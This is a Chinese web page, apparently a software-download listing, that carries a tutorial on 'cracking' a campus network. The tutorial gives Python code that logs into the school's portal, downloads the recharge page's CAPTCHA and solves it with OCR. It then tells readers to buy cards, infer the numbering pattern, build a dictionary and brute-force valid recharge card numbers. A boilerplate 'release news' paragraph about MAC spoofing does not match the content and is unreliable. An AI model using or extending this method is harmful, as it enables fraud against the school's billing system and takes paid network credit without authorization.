python免费获取校园网v3.7.4官方免费版

python免费获取校园网是一款专业级的编程工具。先欢迎同学们开学啦！小编也是经历了学生时代，知道学生时代比较头疼的一些问题，校园网就是其中之一。校园网一直是坑爹一般的存在，别人都用上5G了，而我们学校却还停留在10块钱3个G的时代，也许你会说，用手机的流量就行了呀，但是学校有些资源还必须得要内网才能访问呀。然而我们知道，校园网的安全性根本就比不了那些公司，有很多大佬一直也在学校的学校的内网中遨游，我等只能膜拜，今天我们就一起来看看我是怎么变相破解校园网的。为什么说是变相呢，因为本文采用的方法没有你想的那么高大上，额。。。。。。，就是没有你想象的那么牛逼，原理其实很简单，就是学校开通了网上充值的通道，但是，这个通道必须的得要登录，而且还要验证码，所以本文也就基于python来模拟登陆且识别验证码，实现一个暴力破解充值卡的功能。

python免费获取校园网最新动态

v3.7.4官方免费版正式发布！本次版本重点优化了多运营商兼容性，新增自动重连机制，大幅降低断线概率。功能方面：改进MAC地址伪装模块，支持更多品牌网卡；简化配置文件，一键适配主流校园网认证协议。用户反馈显示，新版在高峰期连接成功率提升约35%，延迟波动减少至50ms以内。感谢社区贡献的漏洞修复和功能建议，后续将持续完善多平台支持与加密传输特性。
开发团队致谢

软件使用步骤：

思路整理：
1：request模拟登陆系统
2：进入充值界面
3：获取充值界面的验证码，并识别验证码
4：将卡号和验证码发送给服务器，获取结果

具体操作：

1：request模拟登陆系统

废话不多说（本人废话比较多，手动狗头.jpg）。登录页面是这样子的

第一次登录，是不要验证码的，所以，在登录的过程中，是不用识别验证码的，但是我们输入错了账号密码的话，会出现验证码

我们输入账号密码，登录抓包试试

显而易见，mode是登录，login是账号，passwd是admin，vcode是验证码，上面出现了vcode是因为我上次输错了账号密码，要输入验证码验证，但是我们加入第一次输对了账号密码就可以不用vcode
那么我们来看看服务器给我们返回的数据头（主要是setcookie）

哇，就只有phpsession一个，天助我也，在这里我用了requests的session()函数，这个可以保存服务器返回的cookie，下次用session发送就会带上上次的cookie，还挺好用。但是用了这么久，还是发现有些cookie保存不了，不知道是我太菜还是怎么地，还望大佬解答。输对了站好密码登录，然后进入个人信息页面（穷光蛋一个，希望各位自动忽略{:1_907:} ）

以下是登录的代码：由于隐私问题，将host去掉了，反正也影响不大，只是给大家一个例子

from PIL import Image  #用于处理验证码图片的库
import requests
import pytesseract    #用于识别验证码的库
import re
from bs4 import BeautifulSoup  #用于页面的信息提取
zh=input('请输入校园网账号:')
mm=input('请输入校园网密码：')
cardid=input('输入你要查询的充值卡号：')
session=requests.session()#用这个能够保存服务器返回的setcookie字段，就可以不用在下次的请求头中自己构造cookie了，还挺方便
def get_PHPSESSID():#获取会话id
head={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9,en;q=0.8',
'Connection':'keep-alive',
'Host':'...',
'Referer':'http://.../login.jsp?sourceurl=http://www.msftconnecttest.com/redirect',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
}
cookie=session.get(url='http://.../zili/',headers=head)
print(session.cookies)

2、3：进入充值界面并获取充值界面的验证码，并识别验证码

充值界面如下：

想要获取充值或查询，那么我们得要获得验证码，然后将验证码的数字和充值卡号发送给服务器，那么验证码如何获取？看下面

发送这个请求，获得图片，保存在本地，然后将图片灰度化（就是变成黑白），提高识别率，返回识别结果，我们还是老看程序，边看边说

def get_img():#获取验证码保存到本地
head={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh - CN, zh;q = 0.9, en;q = 0.8',
'Connection':'keep - alive',
'Host':'...',
'Referer':'.../zili/myinfo.php',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
}#请求头
session.get(url='http://.../zili/charge_card.php',headers=head,stream=True)#进入充值的界面
head1={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh - CN, zh;q = 0.9, en;q = 0.8',
'Connection':'keep - alive',
'Host':'...',
'Referer':'http://.../zili/charge_card.php',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'
}
result=session.get(url='http://.../zili/vcode.php',headers=head1)#获取图片，所返回的是一组数据流，也就是图片的数据
image = result.content#result.content代表返回的数据，赋值给image变量
with open(r'img/yzm.jpg', 'wb') as xiazai:#打开img文件夹下的yzm.jpg图片文件，wb代表以‘’二进制写”的方式打开，如果没有这个文件，会帮你建立这个文件，并将这个骚操作以xiazai来表示
xiazai.write(image)#将image里的数据写进xiazai操作打开的yzm.jpg文件中

经过上面的程序，我们就可以把验证码下载到本地，如下

但是这个图片是彩色的，我们得要把它变成灰色的，边看程序边说

def prc_pic():#处理下载的验证码
yzm=Image.open(r'img\yzm.jpg')#用image库里的Image打开yzm.jpg图片
yzm_l=yzm.convert('L')#将图片灰度化
yzm_l.save(r'img\jzm.jpg')#将生成的灰度图保存为jzm.jpg
yuzhi=150#定义一个阈值，大于这个值为黑色，小于这个值为白色
table = []#用来保存值的数组
for i in range(256):
if i < yuzhi:
table.append(0)
else:
table.append(1)
out = yzm_l.point(table, '1')
out.save(r'img\yzm1.jpg')

这里我们说一下，图片就是由矩阵组成，对于黑白图像，每个像素用一个字节数据来表示，而在彩色图像中，每个像素需用三个字节数据来表述。彩色图像可以分解成红(R)、绿(G)、蓝(B)三个单色图像，任何一种颜色都可以由这三种颜色混合构成。在图像处理中，彩色图像的处理通常是通过对其三个单色图像分别处理而得到的，每一幅图像在构成上，都是由一个个像素组成的矩阵，每一个像素为单元格。彩色图像的像素的由三原色（红，绿，蓝）构成元组，灰度图像的像素是一个单值（前边我们已经把图片灰度化了），每个像素的值范围为（0,255）这里我们定义一个阈值，大于这个阈值，就把这个点变为1，小于这个值，把他变为0，这里的0,1也就是黑白，我们一起来看看，处理后的图片
灰度图：

黑白图：

处理的效果还是挺好的，噪点少了很多，你可以调阈值来测试最好的处理效果
最后，就是识别图片，程序很简单
def shibie():  # 识别图片，返回结果
    print("识别结果为"+pytesseract.image_to_string(r'img\yzm.jpg'))
return pytesseract.image_to_string(r'img\yzm.jpg') 

4：将卡号和验证码发送给服务器，获取结果哈哈，现在万事具备，只欠东风，发送查询充值指令抓个包，卡号错了，但是发送的数据包已经知道了

所以，接下来就是不断的试充值卡号，反正验证码形同虚设，想怎么试就怎么试，那么怎么试卡号成功率才能大一点？就去买几张卡号，看看有什么规律嘛，生成一个字典，然后就可以一个个暴力破解了。